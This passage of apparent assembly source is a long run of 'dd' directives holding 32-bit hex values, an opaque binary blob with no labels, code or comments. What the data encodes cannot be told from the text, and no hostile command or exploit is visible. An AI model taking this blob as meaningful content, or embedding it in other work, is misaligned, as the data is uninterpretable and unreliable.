1D0890BFh, 0E253BE56h dd 7C148B00h, 782D13C2h, 0ED5A0769h, 10CE6322h, 754AF1CFh dd 0C98D5100h, 0D913BBEBh, 8EA2007Eh, 0E690734h, 0F100602Dh dd 54FA7148h, 1E6A488h, 2F052986h, 21BC7FD4h, 953420A6h dd 0A8498F00h, 0A17353AAh, 6A570BDAh, 20813FEEh, 0E0FC5E32h dd 0F7EE4976h, 0CA5D9A00h, 0F85691EBh, 82151C06h, 0B413006Dh dd 11673775h, 0DB391003h, 0F03BE6EFh, 0F8E47C95h, 0BF3D00B7h dd 81790C6Ah, 1B3D9725h, 0EF4D0348h, 0B0EB8A56h, 7DCDFB2h dd 0F3834267h, 0C234F138h, 0ECCBC491h, 0FF95A801h, 11DFFAD0h dd 710C48F4h, 799A00EDh, 2416A1F3h, 0FF008B6Fh, 0D40BE985h dd 898209h, 1DD6F246h, 8D51477h, 0DE95CD0Fh, 74F460B9h dd 7F666Ah, 42B026C7h, 511E46D4h, 0D2CA4500h, 0B6B8932Dh dd 91773AC0h, 0CDDC4800h, 0F8BEFEDDh, 7F7EEF00h, 9847F18Dh dd 5898FFh, 84EE9AD2h, 69B251E2h, 0FEC0FC07h, 7187E3DBh dd 607C8870h, 6F9042h, 0DA65936Ah, 0C24EAC29h, 0D49E3B00h dd 0D31BC5A0h, 0A6E50097h, 355F340Dh, 890099A5h, 0B9812F37h dd 12D519E2h, 80B2443Ch, 302A3A70h, 0EC31071Eh, 0F7EF9B40h dd 7B331FE4h, 243C5C05h, 0CB369000h, 0A0C52C0Fh, 70F0F32Ch dd 0D29CBF00h, 3211BAEh, 745E2B60h, 0E0B83952h, 66EA1135h dd 9FFD3800h, 1BCF7E2Eh, 88C300B9h, 0C28E3F25h, 8B00EDE2h dd 345C7669h, 90303B7Eh, 0AB8A0090h, 0F2B58E4Dh, 0CF006A3Ah dd 0C7B44259h, 1E51F618h, 0FFE241ADh, 3F267380h, 7A24A16Dh dd 0D784B903h, 0A0ACA9h, 0C227AA10h, 85AB20BFh, 0F0E10800h dd 54C04F8Bh, 0BFE71B2h, 3E28E835h, 0CC97C00h, 9400EA45h dd 63C5AD2Dh, 0A722A2h, 77C39CD8h, 96095FF4h, 804B6C3Dh dd 4D50DB1Ch, 642B11h, 846A3648h, 982EFDB8h, 0AD694200h dd 41D6ACE1h, 0CF31009Ah, 1A8AD76Eh, 0FA00D15Bh, 344D8B63h dd 0BCC4E7h, 5C184783h, 0FD0BF1C8h, 0B13D1898h, 0CEA9071Ah dd 9DB53309h, 0C1849F00h, 1D29ABh, 81C6BA27h, 6AC6F3Ch dd 459D2E00h, 0CE15CF69h, 64BA1Eh, 0D6A2A875h, 0AC8295EBh dd 0EE001898h, 0A0C1FBE5h, 3A4F3739h, 383C4006h, 2D49380h dd 15FBB25Fh, 7B732B1Fh, 9841DB80h, 0E22809h, 1379890Fh dd 43240BB1h, 3C00CA75h, 6512C4E9h, 0BE6F1CBh, 0C3684BE8h dd 0F1A5A207h, 60848FEBh, 0A71FCC2Eh, 80424F07h, 0C186E4BFh dd 0F0BFFB4Ah, 0C1209380h, 340C71C2h, 0AF1C43Fh, 0F00546B2h dd 8F334F00h, 17B5B9B3h, 145FF23h, 1E74CBCCh, 5926026h dd 70FD3000h, 8E2D4F1Dh, 0F0AA679Ah, 0C2406F86h, 38293AAFh dd 3C411F17h, 2A054B00h, 5C1107E2h, 0F40F9F2Ch, 6A603A8Dh dd 7925F00Dh, 0C486C607h, 45D06F5Ah, 0A3AF43h, 7D5DB9E5h dd 70D54A3Eh, 0E11E74B0h, 9070C79Dh, 38BAA216h, 2A80BD20h dd 8D4B85D8h, 58BD75F5h, 175400D6h, 65370BDEh, 0BE7A89CAh dd 28823D00h, 0B646A7C7h, 0C92B00FDh, 6036A1F8h, 0EE793AC5h dd 0F0F13E00h, 7E3775Eh, 0BE7600C2h, 74277B97h, 8F00E826h dd 2EBA2B19h, 0EE34CCh, 590E1843h, 0FE10E49Bh, 0A8505A24h dd 8FAB0600h, 322124h, 0B505F812h, 2843D9A3h, 13D60C00h dd 0F4DBACADh, 8F79BCh, 9632B890h, 0DC3F52Ah, 52D7B000h dd 0B414CA33h, 0E43C000Eh, 0FC4B3AFh, 19050993h, 1A717370h dd 9C1010C7h, 0E088BACh, 3A282C25h, 529F22A1h, 3F1AD8F3h dd 0E333EF00h, 0BBE6ABFAh, 0E7603EAh, 0DB69A64Eh, 0B532B002h dd 0E01BD731h, 0B8491F14h, 44700A57h, 87E8029Ch, 3203A0D9h dd 10605C3Ch, 0A124C025h, 0C6808028h, 4EC7DA24h, 1F1AEE3Fh dd 0C0E11C4Ch, 43D22BFEh, 5B0E4E2h, 7B981300h, 11E3C75Eh dd 0BB2EA0Dh, 0D410DDAAh, 70701C27h, 9FDEEEFBh, 67E27400h dd 0DA62F927h, 80CE0E5Dh, 0EDE42277h, 7B55C0A6h, 7403E570h dd 4D72FCFDh, 0B2110087h, 943C53F3h, 4558E90Eh, 88193A1Ch dd 923783h, 0F13B12B3h, 6D00E7EFh, 75AB94C0h, 1CFE262Fh dd 0FD5733h, 0F0651B5Fh, 5050F306h, 4900D594h, 0B6BF28Ch dd 0B04759h, 2C5F011Eh, 2DB819C2h, 79981154h, 83096FECh dd 0B6E839h, 7CDF7E54h, 323A073Fh, 20B2D667h, 306B5C50h dd 96CC3Ch, 1A5686CAh, 0CBED1Ch, 7870549Bh, 4442D5EBh dd 5E2580C1h, 81C4A361h, 5DFBA079h, 0AB37504Dh, 950E0C47h dd 0B8825466h, 20ED4201h, 3D9DFAA8h, 12B4F3D4h, 837BA41Ch dd 48C09004h, 0BB004D3Fh, 8767232Eh, 50986C03h, 88E69Dh dd 0E84C2BA3h, 92F85F5Eh, 98A027E6h, 65D491Bh, 80882564h dd 73E8CAB8h, 957D005Ch, 222F0DD6h, 5600DF92h, 480FF8D8h dd 4A8B57h, 0F19BB42Dh, 55CB01D1h, 0BC51B900h, 7B5AEE72h dd 0E5401A8h, 3C63AC24h, 0D7CD603Ah, 677CCF00h, 142F7468h dd 0FC149018h, 0BFDC147Ah, 0D9098C41h, 6023CD31h, 20874D45h dd 791FBCE2h, 9E289100h, 0A65F50F9h, 276000F7h, 6EBE2A20h dd 1E247FC3h, 0C209543Fh, 0DF5F80A9h, 6CC8FFh, 32E56515h dd 4D865970h, 0A718C901h, 2D220385h, 0EF0B05C4h, 26C856E0h dd 28C033EAh, 77240004h, 4CBF76C1h, 3426107Fh, 3907C0FCh dd 600E054h, 0F07CCC35h, 0F24B00B2h, 5565D2B9h, 4F00458Bh dd 0E3F444F3h, 9D08FBEh, 5FB797CCh, 0F1472CC0h, 0CAB5BC03h dd 0FA526D8Dh, 0C6C060AEh, 0E26300C0h, 6AF29998h, 7603914Bh dd 95DEFDBBh, 148D8801h, 0FB6900EFh, 75620B8Fh, 90005765h dd 1D77225Bh, 0EC9C41h, 0E13F30BDh, 0F3CD6AEFh, 54ADC00h dd 0D72F82E5h, 1E6100B6h, 0A4AF2285h, 0F34858BAh, 0C81C2AD1h dd 77BD931Dh, 0CE1121h, 1F02ECC6h, 0B31D86h, 9ADB79D5h dd 7F554A2Dh, 8D27700h, 2837AA02h, 0C081A127h, 0B87A25FCh dd 26C9045h, 0CB1E1122h, 6EE06ADFh, 6000C3F9h, 7C51DBB7h dd 18E487BFh, 884E3C55h, 0E8B207CDh, 88B70D00h, 163FA4ADh dd 0CE130021h, 0A2A7CF7Ah, 1A000417h, 14A67840h, 0B82F03C1h dd 0B6B0002Ch, 3002C518h, 6B240B9Bh, 0B4204C0Eh, 82627212h dd 1E29B8D0h, 0DD1A0FD5h, 5AE371EFh, 60F7F75Bh, 12F2D241h dd 473E0498h, 76DE83F5h dd 0A0B08017h, 8AA41Ah, 8CB766EDh, 7D3E474Ah, 489C3550h dd 5922C01Bh, 1F95C0C8h, 8CBB00B4h, 1C241ED9h, 651E30F0h dd 8FC497AFh, 20A00B7Fh, 217A04EAh, 0C315449Dh, 0F7B0F048h dd 0F400FDBFh, 0B8B5FAE7h, 382CAC3Ch, 1E308706h, 6B0F8D59h dd 0DCE2230Ah, 880D841h, 6894EF34h, 0A6D0E1Ch, 0E6C0F90Ch dd 7E2B9F67h, 6944AD00h, 252041EDh, 39DB0D8h, 0E6EB86E9h dd 0B9FBFEE4h, 7DCA6103h, 3A1ABA63h, 3A802358h, 88642A36h dd 49143C21h, 955C05h, 0D88C8D6Dh, 0B0BCAB2Ch, 73880030h dd 90D3339Fh, 0A41C0B38h, 807A1DB8h, 5B03DB3Ah, 0EC841299h dd 98861E5Fh, 0A8154006h, 3108FB6Dh, 427DDA00h, 633010B6h dd 0EB9000C8h, 180433FDh, 6B00DE3Dh, 792DCBE8h, 737A4BA8h dd 21750022h, 46B68361h, 9B00F969h, 1F76FA25h, 568A43h dd 9354D105h, 80356C64h, 9400CFE4h, 38D9D2FFh, 5077192Eh dd 769C83Eh, 0FC193A9h, 0E052033Fh, 63F5ADA8h, 34064801h dd 2F4224Ah, 2A1F2F4h, 0AED4D4Bh, 4606235h, 0D9004913h dd 59CDC7BEh, 26B461F0h, 26D45479h, 1DA83D88h, 6FC405B0h dd 0A02B5536h, 69E8562Ch, 0F70EC03h, 808617B5h, 722A1639h dd 0F0ED54A8h, 17D3F9Eh, 7F840D02h, 4C404D6Bh, 2D041537h dd 2AFE4E46h, 66244097h, 0B4030CB1h, 38EAB053h, 19FD0015h dd 9CFC51ADh, 0DA0079E6h, 404A3C97h, 0D82C74h, 46F84FD9h dd 9EA82119h, 13B0DD7Bh, 0E9044B00h, 3532FB1Eh, 7F18144Ch dd 0A2009847h, 7ACF8C63h, 0EDFE0820h, 594F4800h, 4979E804h dd 4C070055h, 0EF2A8C84h, 6100C913h, 7D191664h, 12609EAh dd 42E8016Ah, 60696702h, 6E38C160h, 0B9E4002Dh, 880562CDh dd 8624242Ah, 11313DEh, 7B812B8Ah, 6558C072h, 0BBE2AE00h dd 9BE5D9AFh, 15C70276h, 0A56FCA70h, 86EA41FFh, 928A40D4h dd 733D1C60h, 39B743B2h, 0BCA33533h, 1653B088h, 67248E00h dd 0FE982B0Ah, 0E486001Ch, 6C967005h, 8A0CEA4Eh, 507919A9h dd 73560007h, 0B0590891h, 4300692Bh, 1DA7930Ah, 0ECB61457h dd 0BF9400B1h, 270E67BEh, 3C480F8Eh, 0B4F800A1h, 2118AAD4h dd 54EA001Eh, 1F710B3Fh, 60765DEh, 0C6249EA1h, 4C630DF0h dd 0F52C0E27h, 5405DB5h, 1B7916C7h, 11D9D700h, 21B76BDAh dd 0EE430090h, 257596ECh, 4D09E659h, 7335B1Bh, 2C10A20Ch dd 17DCF11h, 7EA32FFAh, 0F557BE0Dh, 0A498D86Eh, 4B234100h dd 9C556608h, 94000D8h, 0FF78B0A8h, 523F619Eh, 289A0015h dd 5BE2D643h, 80744CB7h, 2DB04F26h, 0C7004650h, 2D0FB68Dh dd 0F7F3F1h, 2012D479h, 9B975953h, 61E41A03h, 0E0931BDDh dd 717176D1h, 0D35401D2h, 30B69236h, 0DEB4D8BAh, 20F48903h dd 0F0E7E59Bh, 300F79F8h, 6B1099D0h, 0D3384C58h, 412F00E2h dd 0C9DFDE63h, 843407ECh, 0B3D043h, 0F74B176Fh, 801E5B3Ch dd 539B136Eh, 704479E7h, 30C4245Eh, 8B000C0h, 6F49E23h dd 0D7880200h, 1275BE04h, 72F096h, 9E58E8BCh, 4F699B98h dd 0C18DDD01h, 82FFDED8h, 0FE22CCh, 0E8EDE53Bh, 0F34C77D4h dd 0D9810C07h, 53004589h, 2241170h, 98D26B6Dh, 0D4801E39h dd 0A360CE06h, 0EB3D8C00h, 0F7C7BC1Fh, 6CCD00F8h, 7B570717h dd 0FA1E7E03h, 73189790h, 8FF711h, 75306AA4h, 0B5B8DA62h dd 0DB258214h, 0F00070E0h, 779690CDh, 3D0D156Eh, 0FE04EEB0h dd 83688976h, 0F6E08D17h, 0C6035205h, 0F4505A42h, 0E4BD8832h dd 67080082h, 13717C7h, 2D00E6F3h, 0B52A52A9h, 0EC4492B4h dd 0DE1B00DCh, 2066A6CDh, 0F700967Ch, 7D10D232h, 3B65E1A4h dd 0FD80DB19h, 0ED8E1E23h, 0DF0028B7h, 46E5A367h, 4C4A6Ch dd 0E86D2174h, 240F4245h, 3706D003h, 0B81398E3h, 1F66487Dh dd 0C0186E50h, 40514D08h, 0DB1E6279h, 0DFC0D4E0h, 4CD3FFC7h dd 74BE246h, 0E21B6302h, 15EAD049h, 0C2005BB9h, 0A34F31E7h dd 3FB01h, 0FDC78A44h, 5D410DA8h, 0A9C0B461h, 0D5D0D648h dd 5ABD0035h, 7E5EE166h, 805C9A4h, 70814B75h, 3EFBC0BAh dd 6000D22Dh, 695FC09Ch, 7F236C28h, 0BEC4030Fh, 13564341h dd 0DAD1EDA8h, 4C4F2500h, 0E4D37B8Dh, 0BC6C00D7h, 0DE5DF07Eh dd 28005B77h, 5A090172h, 73D0C38h, 7962C9CEh, 0A0F87057h dd 68003AE4h, 20213EDCh, 84F127h, 6B8725E6h, 5DAEB4A9h dd 0F91D9903h, 0B8ACBDA1h, 0B8314Ah, 48D702Ah, 0A876BFA2h dd 4E571E00h, 7CCEBB65h, 0B4100AAh, 15C51295h, 2C7ADF72h dd 97605F07h, 0BB718A49h, 0AE8C226h, 0AB3E0091h, 87A324BFh dd 0C00015D7h, 0D5A674DFh, 7EFDB1h, 8998475Fh, 3DAAC339h dd 65BBA703h, 0DB54DB05h, 0C7BA1631h, 26790036h, 278EA48Bh dd 0D4F8A000h, 0C678CA3Dh, 7F4F0083h, 6D0189DCh, 0AE1F6B99h dd 0E30002AFh, 8444A455h, 298E00A5h, 0FAC13B6Eh, 0B2017E10h dd 9DE6DFA3h, 72EC4781h, 25AB3C36h, 2DF902FFh, 6D200E95h dd 0F34188C0h, 7291471Ch, 2600777Bh, 319D2ADh, 0C6402Ah dd 1FED97Ch, 0C5875DC7h, 0E93F6300h, 0FA49A595h, 89F0054h dd 0EB040305h, 520262F4h, 0A3B45C53h, 24004078h, 0BDED2407h dd 873100DDh, 8971194h, 912C3Dh, 9B0EA788h, 8B3014h, 25998215h dd 0A3A16A2h, 0B28D2307h, 7E0EA024h, 83C0471Fh, 0AB3C69BDh dd 0EED2639h, 0A4C20B20h, 6A2BE0Eh, 1840D3A3h, 0C43E62C6h dd 88C07B9Dh, 98408AABh, 75D6196Ah, 0D012083Ah, 8230E58Bh dd 9C23481Bh, 0BE7F0183h, 6E0E48FEh, 0B35D016h, 0B0787A07h dd 6001E734h, 9AF8BF2Ah, 8DC60C3Eh, 0C210847Fh, 97033F79h dd 6FF1EB20h, 8E7C030Ah, 691A7F1Dh, 0F2D20EB8h, 523A68C1h dd 6095C2D6h, 2F039476h, 6E14170Eh, 0C201A1C6h, 0FEF1485Eh dd 0FFDCFC7Dh, 0B9A50016h, 98DF91ECh, 38050FAAh, 729277D6h dd 2F7A2400h, 50ECF1FBh, 395A6C1Dh, 0F80B770h, 0FEBA4580h dd 180F56CCh, 41761F9Fh, 4508410h, 718281CFh, 0EF22DA40h dd 0B02E00C0h, 0BD50DF7h, 1B002CE7h, 0F24E5F9Ch, 0E2F4483Eh dd 3B6D00DDh, 78EABF18h, 0CF022A57h, 673EF572h, 0FF50E0B0h dd 37D80099h, 202F1A83h, 2A003696h, 0E20C614Dh, 0F143701Bh dd 168FEDFCh, 40D5B42Ch, 0F0E9C30Ch, 0CD03E8B2h, 9DA67703h dd 0D2539864h, 90B30057h, 75B554C0h, 311D2D3Ch, 3B0048ADh dd 0DE80C91Fh, 13460050h, 2C58249Fh, 6F0070BCh, 699736EAh dd 75916E06h, 2F87071Dh, 0D0312E65h, 1B3E4438h, 8F89B207h dd 0DC0053AAh, 0FD6516h, 8A5B1DD3h, 610DCD73h, 7A003F72h dd 38E0035Eh, 1E6396Ah, 261D5055h, 35B792B3h, 2AC004E0h dd 0A701EE04h, 7B1BA85Bh, 3C94C437h, 76E72E03h, 47E65Ah dd 0FFCF1C28h, 9AB41F9Eh, 772C77B8h, 1D17810Bh, 0ACBE520Eh dd 45012858h, 0D910D29Eh, 8BA89F2h, 0D228A105h, 0DF446808h dd 3A7084C6h, 84D69F40h, 22FC6E22h, 8A22EB02h, 80A22A9h dd 51E39F22h, 0A8D9140Eh, 0D145A817h, 420A2808h, 224A783h dd 1E016320h, 88EF5680h, 0A1CC339Dh, 3CE82946h, 0BE002BD0h dd 0B8E3ADE7h, 1C0F226Bh, 0E0B6DF37h, 842A63B5h, 2B9B00C6h dd 99A6C5D2h, 2D07E326h, 0ACB6A413h, 22372910h, 68FA55h dd 38730686h, 10B901E6h, 0C1C86A01h, 0B82CC4F1h, 4A8F70h dd 0DA40316Dh, 0B1B3A31Bh, 7F282003h, 8881F29Ah, 0B88F7AE6h dd 6F7430D5h, 85D73410h, 0C10D8400h, 724637D2h, 635E07A2h dd 0E07CEA24h dd 7ACEC44Dh, 0D13FEF00h, 66F494CBh, 3DB7080h, 0A47F7BDh dd 62012509h, 323D11E6h, 7E87D51h, 495F0737h, 10EE2EBBh dd 7310F13Fh, 48F4E200h, 4CB5A261h, 0FC7E2E75h, 0D4AD0022h dd 3C45EAA7h, 52723Ch, 3B101EAEh, 0F60EB2h, 1D7A4BBBh dd 784AEC74h, 542069h, 9AE08581h, 0C2510014h, 80E599C1h dd 7E3E965Fh, 2C9001Bh, 1605AB69h, 0FD0600A9h, 0D42288C3h dd 0C4038FE1h, 0CE69817h, 3F4000F5h, 66298743h, 460030A5h dd 26AA795Fh, 77DF7Ch, 59571BFEh, 0C217CFABh, 0AFE64800h dd 8BD1A02Eh, 0F1E70318h, 64BDEB3Eh, 0BAC05FDBh, 86006C0Bh dd 6368B69Fh, 1E0CB66h, 67CF78A5h, 0E52FE9EFh, 0D6C8DCB4h dd 0E6792500h, 5C4C433Ah, 0F6351FB7h, 1C708714h, 0E51F918Ch dd 6163FC94h, 9C86E407h, 1800F9A8h, 95762Ah, 15120154h dd 4DCBA5C7h, 61394901h, 346775DCh, 1EE70DD4h, 12ACE1EBh dd 0E3750F6Bh, 80E6D525h, 64EFC5B2h, 0E8CF4A00h, 0DD3CA69Dh dd 0A2010732h, 20049C4Bh, 3078AE7Ch, 0B300D672h, 0FF9B2BD9h dd 5DF70B2h, 0A3EB7EA7h, 0F700C277h, 58E0840h, 343EC0Ch dd 46010C8h, 560AF17Bh, 0AA10810Ch, 0B8382469h, 44AA604h dd 5D801435h, 464B06h, 754876D1h, 110815Ah, 960E0300h dd 718CBB20h, 0A2CA007Fh, 7D292CCBh, 26304FD3h, 0ABDE686Ah dd 0A32B0035h, 1CEDAF4Bh, 600F521h, 43BC8015h, 1F518631h dd 0DC25C3C8h, 0C02F5E98h, 0EE08852h, 0ABF61609h, 544F9724h dd 3BE8FD00h, 0E67E62A5h, 0DFF50014h, 797A8D23h, 0F60013C0h dd 9A960978h, 7F3D0Ah, 2BC47E7h, 823FCC60h, 0BD46E600h dd 91F874FEh, 0F17C0F99h, 1780435Fh, 10909215h, 0C7848212h dd 46684C03h, 6D75B829h, 9F6E5C33h, 7E347600h, 0EDF52871h dd 0F0975400h, 0BC4FEB4Dh, 0DB3B0373h, 5F644B04h, 0A55649A0h dd 58439E00h, 6BAF9BB0h, 8C95509Ah, 27D838D2h, 0C112C30h dd 4E132E33h, 0FAF15h, 0FC20918Eh, 8DE9DC18h, 18714499h dd 118C9DD8h, 7A0005E0h, 1E2A0243h, 72BE55h, 3E77B6CEh dd 5704F493h, 0EEFCAB74h, 9BF1F200h, 0C2DE671Bh, 3B021FD2h dd 7755808Bh, 48B7F5FCh, 6CA4D024h, 3EA7A200h, 0A5CF4Ch dd 8F7B56AEh, 5ABF2E41h, 1AFF26h, 0CE841300h, 6083B844h dd 0BF82680Fh, 9201E2F1h, 269B05FBh, 0D7748Dh, 7772FCE9h dd 0B4F9F811h, 0E562DF00h, 7851996Fh, 630F14F4h, 93B80D6h dd 0E038023Fh, 9ACE3F03h, 60004BDBh, 0CC9D5A01h, 0C1630450h dd 86C873A9h, 879841AAh, 9798CB68h, 0E80EE527h, 3C39A11Dh dd 0A840A4E6h, 9A3847Fh, 5AE77491h, 31090000h, 0E91F71B4h dd 65016351h, 2EA726BCh, 0AE96D0h, 0A0CD5C9Eh, 14FF68BFh dd 8C664400h, 0A4551E6h, 5B4D00E5h, 7B731DA5h, 0A4EE3EA3h dd 56E09C00h, 3738E84Ah, 0DE6D1E3Ch, 4E7140E7h, 429E94DBh dd 1AF2680Eh, 16FFC04Ch, 0B9C793h, 0C697B174h, 390F6C94h dd 0D6410C00h, 0DBC9BA62h, 6816006Bh, 182A7CBEh, 0AB00C117h dd 7632452Bh, 26220Dh, 0A7EAD782h, 9F242E4Eh, 0CB0E2490h dd 2362E3CEh, 0C0E7A84Bh, 8AFBF6h, 0E7D74DAh, 7213FD65h dd 2C87CA00h, 9AB784C4h, 33040045h, 0B27EC302h, 0DD002981h dd 627BBC0Fh, 13B8CEEh, 72C54390h, 300DEB45h, 31077DDCh dd 0D04D78A2h, 4F2919B1h, 0D128FCh, 0A74C8473h, 3BE6B4AAh dd 608D5A16h, 0A8D98400h, 2BE7B4Eh, 6F19755h, 0B081FB26h dd 80790C82h, 0DDEC7031h, 0F340C9h, 6A6833C5h, 9F7A5131h dd 8F22C600h, 7CFC4126h, 2C4AA4h, 0FB0534C4h, 2A01D7CCh dd 70CDAEBEh, 35DCD85Ch, 0A49E240Dh, 44893F58h, 0A482B49Ch dd 0DC43451Ch, 0C618EBC0h, 0ABB6980Ah, 9409DC1Ah, 77B76A4h dd 0B03E276Eh, 55DFE63Ch, 0ACF5EF09h, 0EC480054h, 11448Eh dd 75A00841h, 0C93C66BEh, 14E75900h, 747ED34Ah, 0B6193820h dd 137C7100h, 92F35CF2h, 73DF720Bh, 40688E10h, 9436496h dd 67111C8Dh, 0D20E8B4Ah, 0F03F0898h, 180014B0h, 11F3B030h dd 900B69h, 2ECDDF7h, 4FCD5A50h, 0FD2E648h, 0E336780Dh dd 887F6D73h, 0FE99491h, 1C8CB3C6h, 2EDC7B40h, 0E41D9E9Fh dd 348051FBh, 7849682Bh, 394A0F91h, 0BFE0EDCAh, 0B2DAE663h dd 15746E07h, 61FFEF2Fh, 0E531A61Fh, 1FAF1474h, 40961032h dd 1D059B8h, 0F900503Dh, 9659C8Ch, 7E1BE2h, 0BDC551E0h dd 7330B1A9h, 36878216h, 8E300EBh, 9F3276E6h, 6F7AED00h dd 63BA6CAFh, 2C480027h, 0EE989474h, 0C77A047h, 0B741DF00h dd 4EB5352Dh, 6B6600E0h, 0E4C67853h, 0E009096h, 61570D3Ah dd 2E5ECD83h, 17CE9836h, 4BD8207Eh, 1A0006DBh, 7DB88084h dd 9AED27BFh, 30626044h, 1D768B1h, 34C9FA07h, 80CEE7E1h dd 2BD09BDCh, 4CA5E282h, 7A0EE35Bh, 35E080AFh, 88585484h dd 1A05A000h, 4995CC23h, 0CC994833h, 0CFB83F00h, 0F426C3CDh dd 0BB98A175h, 0AE1B0C00h, 2AEC7C09h, 6B14007Fh, 738678F2h dd 1F07F6ADh, 0A18DA7F5h, 130D25A0h, 5FA302D1h, 519366F0h dd 3957CC40h, 0EC49E02Eh, 0DEEBE540h, 96460141h, 0B51DB365h dd 0B41EE459h, 0E4D84317h, 26CCFC07h, 0EF2C7833h, 98FE3C61h dd 130F4464h, 1D49CF22h, 3A9540B8h, 7E3990D6h, 8C76CE00h dd 31859C91h, 0F498E3h, 8628B7DAh, 5066FA67h, 0AB241301h dd 5DFF5FE7h, 0ACF4B9F1h, 34EB004Bh, 8D5BE5A2h, 21033B41h dd 13BE846Eh, 9C11122Dh, 969E0023h, 4663EEF0h, 4C5F0800h dd 4F2D6017h, 1E5B760Eh, 0C05011B6h, 0FA69821Ch, 7601296Eh dd 0BF849E9Ah, 1881F2B9h, 46DD27B5h, 77CACEh, 33100B2Bh dd 532903F8h, 8FE87874h, 927F8EC8h, 9BB19E1Fh, 6F5F7A00h dd 5041638h, 65393D93h, 4584034Bh, 0CBC8908Bh, 0C90F1F13h dd 6098A347h, 0EC1B23BCh, 839B0055h, 14CFAC2Dh, 0BD006FA8h dd 0DEE80A97h, 6E7F17h, 5C069564h, 848179B0h, 48B0197Dh dd 999A4F00h, 35EC975Ah, 0AAF40007h, 7D05F26Ah, 0C5006286h dd 67FF7726h, 0E2240C45h, 2B64A56h, 0EDFDAD08h, 95F20C60h dd 926E7100h, 1002F0E7h, 83500068h, 1EEE0D26h, 17003047h dd 0A3F72531h, 5494DA5h, 0BA41E58Bh, 33608086h, 0F800D067h dd 602CE1CEh, 634C78h, 25354732h, 3C3A8C09h, 882ADD28h dd 0C938CD00h, 77BB33D5h, 0EDBC0044h, 864BBDF5h, 0C61C041Eh dd 4AC31D05h, 0F8EF6CF7h, 3A7EED7h, 0F26D5C56h, 73D8D6D0h dd 2F04486Ah, 0D3014CC9h, 21A50700h, 0C2068E80h, 586F99DDh dd 81A13018h, 4DF81448h, 60386102h, 0E0DB9FABh, 0CF8ED6h dd 154285CBh, 0B23613DAh, 0B04F4D07h, 809BF60Eh, 81A68FB3h dd 158D0076h, 0F15B56D7h, 1F016552h, 722A1E31h, 2E709770h dd 34DC17E5h, 345312h, 1AA64947h, 2503DB66h, 2E61E11Eh dd 8EC0F403h, 507C83h, 4911E356h, 0DF4A85A4h, 0E8047F07h dd 6784FD61h, 2B10E4h, 25FF195Bh, 56FA3873h, 0DB2F460Ch dd 7C0CA8h, 96B65198h, 0CB805541h, 0F9387F00h, 40571342h dd 1BF047h, 0ABA9FA62h, 165DA1DEh, 257E3F09h, 8A78091h dd 5F875EBh, 0D472107Fh, 0E19CD057h, 9E0415A9h, 0CCB6DA6Bh dd 8FC580A2h, 61FA055Eh, 751062ABh, 0D54BA4E0h, 0B0000C4Ah dd 0F99938C9h, 61DF64Fh, 0C878BB44h, 4500D807h, 8120FE16h dd 3A9F74h, 372F93Dh, 47CCE689h, 0B17E0E07h, 0AD30DD35h dd 13DC57Ah, 661F5B13h dd 70D24D28h, 0E90076A3h, 0FB06C242h, 51300Fh, 651D5C84h dd 11A270E2h, 2C070500h, 7380ECC6h, 1EA60057h, 6C9F51F6h dd 141FA27Bh, 0A04033DEh, 0EE8A5D5h, 0A7AA3B1Eh, 3E5F3700h dd 98A9BB45h, 6400C94Ah, 0F70F543Ch, 6DFD120Eh, 0FC8C0020h dd 9B655BD2h, 9D788E00h, 5E87A971h, 3187F57h, 1A739277h dd 84D8F41Fh, 0B8A053F7h, 0DB05E39Dh, 444BFC05h, 0C3D2831Dh dd 0AF565F01h, 620A473h, 7F400F5h, 659D1FDAh, 600A25Dh dd 8022DFE9h, 399EDE6Ch, 0F984951Ah, 80D28E2Eh, 0F1117784h dd 7518544Dh, 0A2C0180Eh, 6BF64082h, 43604A3h, 0A0CFBD15h dd 37D9819Ah, 8A76FC16h, 0FB86B600h, 34882DAEh, 0D4B31651h dd 681CEBh, 0AAC01F22h, 0BA7385D3h, 9B765C00h, 3F7BC24Bh dd 8BF481h, 2653400Eh, 11BB71E9h, 0ACF86500h, 0B73CC9F5h dd 0A02A003Fh, 0B0487727h, 0E70454D8h, 0A9DC9EA8h, 0F161A481h dd 0F0ACD6FBh, 7684006Fh, 0B89BE652h, 0C3069A7Eh, 87200331h dd 80573A20h, 8EBB2C80h, 8229CECh, 93266003h, 90CBC189h dd 0F24E3833h, 5E5004D9h, 80CE620Bh, 0F765FCE2h, 0E591ED16h dd 0C7F85800h, 585A364Eh, 6F02984Fh, 4C3E3FE1h, 7B4C3446h dd 4B9A800Ch, 3969C4h, 0B70541C9h, 9367D249h, 4BFCE03h dd 0D11C9C45h, 0E3C892EDh, 13560B3Dh, 0B784261Bh, 6B89050h dd 0A8B210C5h, 0BD217D08h, 5580048h, 0B4C76A59h, 9E43D405h dd 0FF8728C3h, 62A2DB90h, 130BE8C8h, 82A495h, 74193580h dd 0CA9875ECh, 6496B175h, 459C3807h, 5D703B07h, 0EDEA910h dd 8225E091h, 0F5B15560h, 9B029320h, 2309477Fh, 4C7E41EAh dd 15ED8880h, 6E53B56Dh, 0EFA11701h, 641D924Dh, 83008C2Dh dd 572425BAh, 8D000F8Ah, 0F6C70EF5h, 3C128FF9h, 93007C70h dd 29E1E50Ah, 0D5619EFEh, 203E798h, 583EE033h, 487C005Ah dd 0DB1A3EE2h, 6500C8B0h, 27494CF0h, 2C5956C8h, 9430ABh dd 5DE89A0Ah, 7026A5CAh, 5800B498h, 0A83FECF4h, 0F8890640h dd 0C847A1F6h, 0DF700100h, 7D3E36E8h, 4CF0A187h, 81E177DEh dd 4860C2D1h, 80A0178Fh, 2F0EEC89h, 1EF8CD50h, 0DE3992C3h dd 7C1CE872h, 0E0C73C14h, 0E4C36D80h, 0E38C188Dh, 9441860Bh dd 7900475Ah, 7112F2B6h, 0D4704000h, 573EDDB4h, 41C20698h dd 0E94D89h, 62CC037Fh, 0F2E89D13h, 318F14Dh, 0F788BAA0h dd 0AC29009Fh, 683AC721h, 83091913h, 81A4D28Bh, 2D1AECA4h dd 2ED0C70h, 85E055FFh, 0A478B954h, 0E753C900h, 0E944CF14h dd 954800BBh, 0D307DBDCh, 3B05EEB5h, 1475F601h, 0EB0F75C1h dd 71335470h, 356C0969h, 0FC20B8DFh, 0D9150158h, 6F7A6D01h dd 4D170A59h, 9385F8h, 2FFFF1E6h, 20A52905h, 8AFF404h dd 88A0E99Dh, 0FFA800F3h, 0DB56E686h, 5F0A3D31h, 9CB75B6Dh dd 0B9D72B00h, 457AC4h, 0C25148EFh, 46789042h, 57B7400h dd 64AEE67Ch, 49DB146Fh, 3F00ACC0h, 17560CE2h, 100071EDh dd 